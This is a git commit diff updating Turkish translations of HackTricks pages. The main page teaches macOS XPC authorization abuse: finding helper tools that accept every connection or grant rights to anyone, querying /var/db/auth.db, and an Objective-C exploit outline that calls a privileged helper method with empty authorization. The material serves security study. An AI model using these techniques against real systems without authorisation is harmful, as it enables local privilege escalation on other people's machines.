mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 12:43:23 +00:00
Translated ['macos-hardening/macos-security-and-privilege-escalation/mac
This commit is contained in:
parent
34390110de
commit
4c1c9b0a0a
2 changed files with 166 additions and 97 deletions
|
@ -1,29 +1,29 @@
|
|||
# macOS XPC Yetkilendirme
|
||||
# macOS XPC Authorization
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS Hacking öğrenin ve uygulayın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="../../../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricks'i Destekleyin</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
|
||||
* **HackTricks** ve **HackTricks Cloud** github depolarına PR göndererek hackleme püf noktalarını paylaşın.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## XPC Yetkilendirme
|
||||
## XPC Authorization
|
||||
|
||||
Apple, bağlanan işlemin **bir XPC yöntemini çağırmak için izinlere sahip olup olmadığını doğrulamanın** başka bir yolunu da önermektedir.
|
||||
Apple, bağlanan işlemin **açık bir XPC yöntemini çağırma izinlerine sahip olup olmadığını** doğrulamak için başka bir yol önerir.
|
||||
|
||||
Bir uygulamanın **yetkili bir kullanıcı olarak işlemleri yürütmesi gerektiğinde**, genellikle uygulamayı yetkili bir kullanıcı olarak çalıştırmak yerine, bu işlemleri gerçekleştirmek için uygulamadan çağrılabilen bir XPC hizmeti olarak HelperTool'u kök olarak yükler. Ancak, hizmeti çağıran uygulamanın yeterli yetkilendirmeye sahip olması gerekir.
|
||||
Bir uygulama **ayrılmış bir kullanıcı olarak eylemler gerçekleştirmesi** gerektiğinde, genellikle uygulamayı ayrıcalıklı bir kullanıcı olarak çalıştırmak yerine, bu eylemleri gerçekleştirmek için uygulamadan çağrılabilecek bir XPC hizmeti olarak root olarak bir HelperTool yükler. Ancak, hizmeti çağıran uygulamanın yeterli yetkilendirmeye sahip olması gerekir.
|
||||
|
||||
### ShouldAcceptNewConnection her zaman YES
|
||||
### ShouldAcceptNewConnection her zaman EVET
|
||||
|
||||
Bir örnek [EvenBetterAuthorizationSample](https://github.com/brenwell/EvenBetterAuthorizationSample) içinde bulunabilir. `App/AppDelegate.m` dosyasında **HelperTool**'a bağlanmaya çalışır. Ve `HelperTool/HelperTool.m` dosyasında **`shouldAcceptNewConnection`** işlevi önceden belirtilen gereksinimleri kontrol etmeyecek. Her zaman YES döndürecektir:
|
||||
Bir örnek [EvenBetterAuthorizationSample](https://github.com/brenwell/EvenBetterAuthorizationSample) içinde bulunabilir. `App/AppDelegate.m` dosyasında **HelperTool** ile **bağlanmaya** çalışır. Ve `HelperTool/HelperTool.m` dosyasında **`shouldAcceptNewConnection`** **daha önce belirtilen** gereksinimlerin hiçbirini **kontrol etmeyecek**. Her zaman EVET döndürecektir:
|
||||
```objectivec
|
||||
- (BOOL)listener:(NSXPCListener *)listener shouldAcceptNewConnection:(NSXPCConnection *)newConnection
|
||||
// Called by our XPC listener when a new connection comes in. We configure the connection
|
||||
|
@ -40,7 +40,7 @@ newConnection.exportedObject = self;
|
|||
return YES;
|
||||
}
|
||||
```
|
||||
Bu kontrolün nasıl doğru bir şekilde yapılandırılacağı hakkında daha fazla bilgi için:
|
||||
Daha fazla bilgi için bu kontrolü doğru bir şekilde yapılandırma hakkında:
|
||||
|
||||
{% content-ref url="macos-xpc-connecting-process-check/" %}
|
||||
[macos-xpc-connecting-process-check](macos-xpc-connecting-process-check/)
|
||||
|
@ -48,10 +48,10 @@ Bu kontrolün nasıl doğru bir şekilde yapılandırılacağı hakkında daha f
|
|||
|
||||
### Uygulama hakları
|
||||
|
||||
Ancak, **HelperTool'dan bir yöntem çağrıldığında bir yetkilendirme işlemi gerçekleşmektedir**.
|
||||
Ancak, **HelperTool'dan bir yöntem çağrıldığında bazı yetkilendirmeler gerçekleşiyor**.
|
||||
|
||||
`App/AppDelegate.m` dosyasındaki **`applicationDidFinishLaunching`** fonksiyonu, uygulama başladıktan sonra boş bir yetkilendirme referansı oluşturacaktır. Bu her zaman çalışmalıdır.\
|
||||
Daha sonra, bu yetkilendirme referansına bazı haklar eklemeye çalışacaktır ve `setupAuthorizationRights` fonksiyonunu çağıracaktır:
|
||||
`App/AppDelegate.m` dosyasındaki **`applicationDidFinishLaunching`** fonksiyonu, uygulama başlatıldıktan sonra boş bir yetkilendirme referansı oluşturacaktır. Bu her zaman çalışmalıdır.\
|
||||
Sonra, `setupAuthorizationRights` çağrısını yaparak o yetkilendirme referansına **bazı haklar eklemeye** çalışacaktır:
|
||||
```objectivec
|
||||
- (void)applicationDidFinishLaunching:(NSNotification *)note
|
||||
{
|
||||
|
@ -75,7 +75,7 @@ if (self->_authRef) {
|
|||
[self.window makeKeyAndOrderFront:self];
|
||||
}
|
||||
```
|
||||
`Common/Common.m` dosyasındaki `setupAuthorizationRights` fonksiyonu, uygulamanın haklarını `/var/db/auth.db` yetkilendirme veritabanına saklayacaktır. Yalnızca veritabanında henüz bulunmayan hakları ekleyeceğine dikkat edin:
|
||||
Fonksiyon `setupAuthorizationRights`, `Common/Common.m` dosyasından, uygulamanın haklarını `/var/db/auth.db` yetki veritabanında saklayacaktır. Veritabanında henüz bulunmayan hakları yalnızca ekleyeceğine dikkat edin:
|
||||
```objectivec
|
||||
+ (void)setupAuthorizationRights:(AuthorizationRef)authRef
|
||||
// See comment in header.
|
||||
|
@ -107,7 +107,7 @@ assert(blockErr == errAuthorizationSuccess);
|
|||
}];
|
||||
}
|
||||
```
|
||||
Fonksiyon `enumerateRightsUsingBlock`, uygulamaların izinlerini almak için kullanılan fonksiyondur, bu izinler `commandInfo` içinde tanımlanmıştır:
|
||||
Fonksiyon `enumerateRightsUsingBlock`, `commandInfo` içinde tanımlanan uygulama izinlerini almak için kullanılır:
|
||||
```objectivec
|
||||
static NSString * kCommandKeyAuthRightName = @"authRightName";
|
||||
static NSString * kCommandKeyAuthRightDefault = @"authRightDefault";
|
||||
|
@ -185,15 +185,15 @@ block(authRightName, authRightDefault, authRightDesc);
|
|||
}];
|
||||
}
|
||||
```
|
||||
Bu, işlemin sonunda `commandInfo` içinde belirtilen izinlerin `/var/db/auth.db` içinde saklanacağı anlamına gelir. **Kimlik doğrulaması gerektiren her yöntem** için **izin adı** ve **`kCommandKeyAuthRightDefault`** bulabileceğinizin **dikkatini çekin**. Sonuncusu, **bu hakkı kimin alabileceğini belirtir**.
|
||||
Bu, bu sürecin sonunda `commandInfo` içinde belirtilen izinlerin `/var/db/auth.db` içinde saklanacağı anlamına gelir. **Kimlik doğrulama gerektiren** **her yöntem** için **izin adı** ve **`kCommandKeyAuthRightDefault`** bulabileceğinizi unutmayın. Sonuncusu **bu hakkı kimin alabileceğini gösterir**.
|
||||
|
||||
Bir hakkı kimin erişebileceğini belirtmek için farklı kapsamlar vardır. Bazıları [AuthorizationDB.h](https://github.com/aosm/Security/blob/master/Security/libsecurity\_authorization/lib/AuthorizationDB.h) içinde tanımlanmıştır (hepsini [burada bulabilirsiniz](https://www.dssw.co.uk/reference/authorization-rights/)), ancak özetle:
|
||||
Bir hakkın kimler tarafından erişilebileceğini belirtmek için farklı kapsamlar vardır. Bunlardan bazıları [AuthorizationDB.h](https://github.com/aosm/Security/blob/master/Security/libsecurity\_authorization/lib/AuthorizationDB.h) içinde tanımlanmıştır (hepsini [burada bulabilirsiniz](https://www.dssw.co.uk/reference/authorization-rights/)), ancak özet olarak:
|
||||
|
||||
<table><thead><tr><th width="284.3333333333333">Ad</th><th width="165">Değer</th><th>Açıklama</th></tr></thead><tbody><tr><td>kAuthorizationRuleClassAllow</td><td>allow</td><td>Herkes</td></tr><tr><td>kAuthorizationRuleClassDeny</td><td>deny</td><td>Hiç kimse</td></tr><tr><td>kAuthorizationRuleIsAdmin</td><td>is-admin</td><td>Mevcut kullanıcının bir yönetici olması gerekiyor (yönetici grubu içinde)</td></tr><tr><td>kAuthorizationRuleAuthenticateAsSessionUser</td><td>authenticate-session-owner</td><td>Kullanıcıdan kimlik doğrulaması iste</td></tr><tr><td>kAuthorizationRuleAuthenticateAsAdmin</td><td>authenticate-admin</td><td>Kullanıcıdan kimlik doğrulaması iste. Yönetici olması gerekiyor (yönetici grubu içinde)</td></tr><tr><td>kAuthorizationRightRule</td><td>rule</td><td>Kuralları belirt</td></tr><tr><td>kAuthorizationComment</td><td>comment</td><td>Haklar hakkında ekstra yorumlar belirt</td></tr></tbody></table>
|
||||
<table><thead><tr><th width="284.3333333333333">Ad</th><th width="165">Değer</th><th>Açıklama</th></tr></thead><tbody><tr><td>kAuthorizationRuleClassAllow</td><td>allow</td><td>Herkes</td></tr><tr><td>kAuthorizationRuleClassDeny</td><td>deny</td><td>Hiç kimse</td></tr><tr><td>kAuthorizationRuleIsAdmin</td><td>is-admin</td><td>Mevcut kullanıcı bir admin olmalıdır (admin grubunda)</td></tr><tr><td>kAuthorizationRuleAuthenticateAsSessionUser</td><td>authenticate-session-owner</td><td>Kullanıcıdan kimlik doğrulaması yapması istenir.</td></tr><tr><td>kAuthorizationRuleAuthenticateAsAdmin</td><td>authenticate-admin</td><td>Kullanıcıdan kimlik doğrulaması yapması istenir. Admin olmalıdır (admin grubunda)</td></tr><tr><td>kAuthorizationRightRule</td><td>rule</td><td>Kural belirtin</td></tr><tr><td>kAuthorizationComment</td><td>comment</td><td>Hakkın üzerine bazı ek yorumlar belirtin</td></tr></tbody></table>
|
||||
|
||||
### Haklar Doğrulaması
|
||||
### Hakların Doğrulanması
|
||||
|
||||
`HelperTool/HelperTool.m` içindeki **`readLicenseKeyAuthorization`** işlevi, **bu tür bir yöntemi** yürütmeye yetkili olup olmadığını kontrol ederken **`checkAuthorization`** işlevini çağıranın yetkilendirilip yetkilendirilmediğini kontrol eder. Bu işlev, **çağıran işlem tarafından gönderilen authData'nın doğru biçimde olup olmadığını kontrol edecek** ve ardından **belirli bir yöntemi çağırmak için gerekli olanın ne olduğunu kontrol edecek**. Her şey yolunda giderse, **döndürülen `error` `nil` olacaktır**:
|
||||
`HelperTool/HelperTool.m` içinde **`readLicenseKeyAuthorization`** fonksiyonu, çağrının **böyle bir yöntemi** **çalıştırmak için yetkili olup olmadığını** kontrol eder ve **`checkAuthorization`** fonksiyonunu çağırır. Bu fonksiyon, çağıran süreç tarafından gönderilen **authData**'nın **doğru formatta** olup olmadığını kontrol eder ve ardından belirli bir yöntemi çağırmak için **neye ihtiyaç olduğunu** kontrol eder. Her şey yolunda giderse, **dönen `error` `nil` olacaktır**:
|
||||
```objectivec
|
||||
- (NSError *)checkAuthorization:(NSData *)authData command:(SEL)command
|
||||
{
|
||||
|
@ -241,35 +241,37 @@ assert(junk == errAuthorizationSuccess);
|
|||
return error;
|
||||
}
|
||||
```
|
||||
Not: **Doğru çağırmak için gereksinimleri kontrol etmek için** `authorizationRightForCommand` fonksiyonu sadece önceden yorumlanmış nesne **`commandInfo`**'yu kontrol edecektir. Daha sonra, fonksiyonu çağırmak için hakları olup olmadığını kontrol etmek için **`AuthorizationCopyRights`** çağrılacaktır (bayrakların kullanıcıyla etkileşime izin verdiğine dikkat edin).
|
||||
Not edin ki, bu yöntemi çağırmak için gerekli olan **hakları kontrol etmek** amacıyla `authorizationRightForCommand` fonksiyonu sadece daha önceki yorum nesnesi **`commandInfo`**'yu kontrol edecektir. Ardından, fonksiyonu çağırmak için **haklara sahip olup olmadığını** kontrol etmek için **`AuthorizationCopyRights`** çağrılacaktır (bayrakların kullanıcı ile etkileşime izin verdiğini unutmayın).
|
||||
|
||||
Bu durumda, `readLicenseKeyAuthorization` fonksiyonunu çağırmak için `kCommandKeyAuthRightDefault`'ın `@kAuthorizationRuleClassAllow` olarak tanımlandığı belirtilmiştir. Bu yüzden **herkes onu çağırabilir**.
|
||||
Bu durumda, `readLicenseKeyAuthorization` fonksiyonunu çağırmak için `kCommandKeyAuthRightDefault` `@kAuthorizationRuleClassAllow` olarak tanımlanmıştır. Yani **herkes bunu çağırabilir**.
|
||||
|
||||
### DB Bilgisi
|
||||
|
||||
Bu bilginin `/var/db/auth.db` içinde depolandığı belirtilmiştir. Tüm depolanan kuralları listeleyebilirsiniz:
|
||||
Bu bilginin `/var/db/auth.db` içinde saklandığı belirtilmiştir. Saklanan tüm kuralları listelemek için:
|
||||
```sql
|
||||
sudo sqlite3 /var/db/auth.db
|
||||
SELECT name FROM rules;
|
||||
SELECT name FROM rules WHERE name LIKE '%safari%';
|
||||
```
|
||||
Ardından, kimin hakkı erişebileceğini aşağıdaki komutla okuyabilirsiniz:
|
||||
O zaman, bu hakka kimin erişebileceğini şu şekilde okuyabilirsiniz:
|
||||
```bash
|
||||
security authorizationdb read com.apple.safaridriver.allow
|
||||
```
|
||||
### İzin verme hakları
|
||||
### İzinler
|
||||
|
||||
**Tüm izin yapılandırmalarını** [**burada**](https://www.dssw.co.uk/reference/authorization-rights/) bulabilirsiniz, ancak kullanıcı etkileşimi gerektirmeyen kombinasyonlar şunlar olacaktır:
|
||||
**Tüm izin yapılandırmalarını** [**buradan**](https://www.dssw.co.uk/reference/authorization-rights/) bulabilirsiniz, ancak kullanıcı etkileşimi gerektirmeyen kombinasyonlar şunlardır:
|
||||
|
||||
1. **'authenticate-user': 'false'**
|
||||
* Bu en doğrudan anahtardır. `false` olarak ayarlanırsa, bir kullanıcının bu hakkı elde etmek için kimlik doğrulaması sağlaması gerekmez.
|
||||
* Bu, kullanıcının ait olması gereken bir grupla birlikte veya aşağıdaki 2 seçenekten biriyle **kombinasyon halinde kullanılır**.
|
||||
* Bu en doğrudan anahtardır. `false` olarak ayarlandığında, bir kullanıcının bu hakkı elde etmek için kimlik doğrulaması sağlaması gerekmediğini belirtir.
|
||||
* Bu, aşağıdaki 2 anahtardan biriyle veya kullanıcının ait olması gereken bir grubu belirtmek için **birlikte kullanılır**.
|
||||
2. **'allow-root': 'true'**
|
||||
* Bir kullanıcı kök kullanıcı olarak çalışıyorsa (yükseltilmiş izinlere sahip), ve bu anahtar `true` olarak ayarlanmışsa, kök kullanıcı bu hakkı muhtemelen daha fazla kimlik doğrulaması olmadan elde edebilir. Ancak genellikle, kök kullanıcı durumuna ulaşmak zaten kimlik doğrulama gerektirir, bu nedenle çoğu kullanıcı için bu bir "kimlik doğrulama olmadan" senaryosu değildir.
|
||||
* Bir kullanıcı root kullanıcı olarak çalışıyorsa (yükseltilmiş izinlere sahipse) ve bu anahtar `true` olarak ayarlandıysa, root kullanıcı bu hakkı daha fazla kimlik doğrulaması olmadan elde edebilir. Ancak, genellikle root kullanıcı statüsüne ulaşmak zaten kimlik doğrulaması gerektirdiğinden, bu çoğu kullanıcı için "kimlik doğrulaması yok" senaryosu değildir.
|
||||
3. **'session-owner': 'true'**
|
||||
* `true` olarak ayarlanırsa, oturumun sahibi (şu anda oturum açmış olan kullanıcı) bu hakkı otomatik olarak alır. Bu, kullanıcının zaten oturum açmışsa ek kimlik doğrulamayı atlayabilir.
|
||||
* `true` olarak ayarlandığında, oturumun sahibi (şu anda oturum açmış kullanıcı) otomatik olarak bu hakkı alır. Kullanıcı zaten oturum açmışsa, bu ek kimlik doğrulamasını atlayabilir.
|
||||
4. **'shared': 'true'**
|
||||
* Bu anahtar kimlik doğrulamasız haklar vermez. Bunun yerine, `true` olarak ayarlanırsa, hak doğrulandıktan sonra, her birinin yeniden kimlik doğrulaması yapmadan birden fazla işlem arasında paylaşılabileceği anlamına gelir. Ancak hak ilk olarak kimlik doğrulaması gerektirecektir, başka anahtarlarla birleştirilmediği sürece, örneğin `'authenticate-user': 'false'`.
|
||||
* Bu anahtar kimlik doğrulaması olmadan hak vermez. Bunun yerine, `true` olarak ayarlandığında, hak kimlik doğrulaması yapıldıktan sonra, her birinin yeniden kimlik doğrulaması yapmasına gerek kalmadan birden fazla süreç arasında paylaşılabileceği anlamına gelir. Ancak, hakkın başlangıçta verilmesi yine de kimlik doğrulaması gerektirecektir, aksi takdirde `'authenticate-user': 'false'` gibi diğer anahtarlarla birleştirilmelidir.
|
||||
|
||||
İlginç hakları elde etmek için [**bu betiği**](https://gist.github.com/carlospolop/96ecb9e385a4667b9e40b24e878652f9) kullanabilirsiniz:
|
||||
```bash
|
||||
Rights with 'authenticate-user': 'false':
|
||||
is-admin (admin), is-admin-nonshared (admin), is-appstore (_appstore), is-developer (_developer), is-lpadmin (_lpadmin), is-root (run as root), is-session-owner (session owner), is-webdeveloper (_webdeveloper), system-identity-write-self (session owner), system-install-iap-software (run as root), system-install-software-iap (run as root)
|
||||
|
@ -280,29 +282,29 @@ com-apple-aosnotification-findmymac-remove, com-apple-diskmanagement-reservekek,
|
|||
Rights with 'session-owner': 'true':
|
||||
authenticate-session-owner, authenticate-session-owner-or-admin, authenticate-session-user, com-apple-safari-allow-apple-events-to-run-javascript, com-apple-safari-allow-javascript-in-smart-search-field, com-apple-safari-allow-unsigned-app-extensions, com-apple-safari-install-ephemeral-extensions, com-apple-safari-show-credit-card-numbers, com-apple-safari-show-passwords, com-apple-icloud-passwordreset, com-apple-icloud-passwordreset, is-session-owner, system-identity-write-self, use-login-window-ui
|
||||
```
|
||||
## Yetkilendirme Geri Mühendisliği
|
||||
## Yetkilendirmeyi Tersine Çevirme
|
||||
|
||||
### EvenBetterAuthorization'ın Kullanılıp Kullanılmadığını Kontrol Etme
|
||||
|
||||
Eğer **`[HelperTool checkAuthorization:command:]`** fonksiyonunu bulursanız, muhtemelen işlem önceden bahsedilen yetkilendirme şemasını kullanıyor:
|
||||
Eğer **`[HelperTool checkAuthorization:command:]`** fonksiyonunu bulursanız, muhtemelen süreç daha önce bahsedilen yetkilendirme şemasını kullanıyordur:
|
||||
|
||||
<figure><img src="../../../../../.gitbook/assets/image (42).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Bu fonksiyon, `AuthorizationCreateFromExternalForm`, `authorizationRightForCommand`, `AuthorizationCopyRights`, `AuhtorizationFree` gibi fonksiyonları çağırıyorsa, [**EvenBetterAuthorizationSample**](https://github.com/brenwell/EvenBetterAuthorizationSample/blob/e1052a1855d3a5e56db71df5f04e790bfd4389c4/HelperTool/HelperTool.m#L101-L154) kullanıyor demektir.
|
||||
Bu durumda, eğer bu fonksiyon `AuthorizationCreateFromExternalForm`, `authorizationRightForCommand`, `AuthorizationCopyRights`, `AuhtorizationFree` gibi fonksiyonları çağırıyorsa, [**EvenBetterAuthorizationSample**](https://github.com/brenwell/EvenBetterAuthorizationSample/blob/e1052a1855d3a5e56db71df5f04e790bfd4389c4/HelperTool/HelperTool.m#L101-L154) kullanılıyor demektir.
|
||||
|
||||
Kullanıcı etkileşimi olmadan bazı ayrıcalıklı işlemleri çağırmak için izin alınabilir mi diye görmek için **`/var/db/auth.db`**'yi kontrol edin.
|
||||
Kullanıcı etkileşimi olmadan bazı ayrıcalıklı eylemleri çağırmak için izin almanın mümkün olup olmadığını görmek için **`/var/db/auth.db`** dosyasını kontrol edin.
|
||||
|
||||
### Protokol İletişimi
|
||||
|
||||
Daha sonra, XPC servisi ile iletişim kurabilmek için protokol şemasını bulmanız gerekmektedir.
|
||||
Sonra, XPC servisi ile iletişim kurabilmek için protokol şemasını bulmanız gerekiyor.
|
||||
|
||||
**`shouldAcceptNewConnection`** fonksiyonu dışa aktarılan protokolü gösterir:
|
||||
**`shouldAcceptNewConnection`** fonksiyonu, dışa aktarılan protokolü belirtir:
|
||||
|
||||
<figure><img src="../../../../../.gitbook/assets/image (44).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Bu durumda, EvenBetterAuthorizationSample'da olduğu gibi aynı şeye sahibiz, [**bu satıra bakın**](https://github.com/brenwell/EvenBetterAuthorizationSample/blob/e1052a1855d3a5e56db71df5f04e790bfd4389c4/HelperTool/HelperTool.m#L94).
|
||||
Bu durumda, EvenBetterAuthorizationSample'daki ile aynıyız, [**bu satıra bakın**](https://github.com/brenwell/EvenBetterAuthorizationSample/blob/e1052a1855d3a5e56db71df5f04e790bfd4389c4/HelperTool/HelperTool.m#L94).
|
||||
|
||||
Kullanılan protokolün adını bildiğinizde, **başlık tanımını dökümlemek mümkündür**.
|
||||
Kullanılan protokolün adını bilerek, **başlık tanımını dökme** işlemi yapmak mümkündür:
|
||||
```bash
|
||||
class-dump /Library/PrivilegedHelperTools/com.example.HelperTool
|
||||
|
||||
|
@ -316,13 +318,13 @@ class-dump /Library/PrivilegedHelperTools/com.example.HelperTool
|
|||
@end
|
||||
[...]
|
||||
```
|
||||
Son olarak, onunla iletişim kurabilmek için açığa çıkarılan Mach Servisinin adını bilmemiz yeterlidir. Bunun için birkaç yol bulunmaktadır:
|
||||
Son olarak, onunla iletişim kurmak için **açık Mach Servisinin adını** bilmemiz gerekiyor. Bunu bulmanın birkaç yolu vardır:
|
||||
|
||||
* **`[HelperTool init()]`** içinde kullanılan Mach Service'yi görebileceğiniz yer:
|
||||
* **`[HelperTool init]`** içinde Mach Servisinin kullanıldığını görebilirsiniz:
|
||||
|
||||
<figure><img src="../../../../../.gitbook/assets/image (41).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
* launchd plist dosyasında:
|
||||
* launchd plist içinde:
|
||||
```xml
|
||||
cat /Library/LaunchDaemons/com.example.HelperTool.plist
|
||||
|
||||
|
@ -335,14 +337,14 @@ cat /Library/LaunchDaemons/com.example.HelperTool.plist
|
|||
</dict>
|
||||
[...]
|
||||
```
|
||||
### Sızma Örneği
|
||||
### Exploit Örneği
|
||||
|
||||
Bu örnekte şunlar oluşturulmuştur:
|
||||
Bu örnekte oluşturulur:
|
||||
|
||||
* Fonksiyonlarla protokolün tanımı
|
||||
* Erişim istemek için kullanılacak boş kimlik doğrulaması
|
||||
* XPC servisine bağlantı
|
||||
* Bağlantının başarılı olması durumunda fonksiyonun çağrılması
|
||||
* Erişim istemek için kullanılacak boş bir auth
|
||||
* XPC servisine bir bağlantı
|
||||
* Bağlantı başarılıysa fonksiyona bir çağrı
|
||||
```objectivec
|
||||
// gcc -framework Foundation -framework Security expl.m -o expl
|
||||
|
||||
|
@ -420,21 +422,25 @@ NSLog(@"Response: %@", error);
|
|||
NSLog(@"Finished!");
|
||||
}
|
||||
```
|
||||
## Diğer XPC ayrıcalık yardımcıları kötüye kullanıldı
|
||||
|
||||
* [https://blog.securelayer7.net/applied-endpointsecurity-framework-previlege-escalation/?utm\_source=pocket\_shared](https://blog.securelayer7.net/applied-endpointsecurity-framework-previlege-escalation/?utm\_source=pocket\_shared)
|
||||
|
||||
## Referanslar
|
||||
|
||||
* [https://theevilbit.github.io/posts/secure\_coding\_xpc\_part1/](https://theevilbit.github.io/posts/secure\_coding\_xpc\_part1/)
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS Hacking'ı öğrenin ve uygulayın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitimi AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking'ı öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitimi GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
AWS Hacking'i öğrenin ve pratik yapın:<img src="../../../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking'i öğrenin ve pratik yapın: <img src="../../../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricks'i Destekleyin</summary>
|
||||
|
||||
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
|
||||
* **Hacking püf noktalarını paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
|
||||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,8 +1,8 @@
|
|||
# Deserialization
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -17,21 +17,21 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
## Basic Information
|
||||
|
||||
**Serileştirme**, bir nesneyi saklanabilir bir formata dönüştürme yöntemi olarak anlaşılır; bu, nesneyi depolama veya bir iletişim sürecinin parçası olarak iletme amacı taşır. Bu teknik, nesnenin daha sonra yeniden oluşturulabilmesini sağlamak için yaygın olarak kullanılır ve yapısını ve durumunu korur.
|
||||
**Serialization**, bir nesneyi saklanabilir bir formata dönüştürme yöntemi olarak anlaşılır; bu, nesneyi depolama veya bir iletişim sürecinin parçası olarak iletme amacı taşır. Bu teknik, nesnenin daha sonra yeniden oluşturulabilmesini sağlamak için yaygın olarak kullanılır ve yapısını ve durumunu korur.
|
||||
|
||||
**Deserialization** ise, serileştirmenin tersine olan süreçtir. Belirli bir formatta yapılandırılmış verileri alıp, tekrar bir nesne haline getirmeyi içerir.
|
||||
**Deserialization** ise, tersine, serileştirmeyi etkisiz hale getiren bir süreçtir. Belirli bir formatta yapılandırılmış verileri almayı ve bunları tekrar bir nesne haline getirmeyi içerir.
|
||||
|
||||
Deserialization tehlikeli olabilir çünkü bu, **saldırganların serileştirilmiş verileri manipüle ederek zararlı kod çalıştırmasına veya nesne yeniden yapılandırma sürecinde uygulamada beklenmedik davranışlar oluşturmasına** olanak tanır.
|
||||
Deserialization tehlikeli olabilir çünkü potansiyel olarak **saldırganların serileştirilmiş verileri manipüle ederek zararlı kod çalıştırmasına** veya nesne yeniden yapılandırma sürecinde uygulamada beklenmedik davranışlar oluşturmasına olanak tanır.
|
||||
|
||||
## PHP
|
||||
|
||||
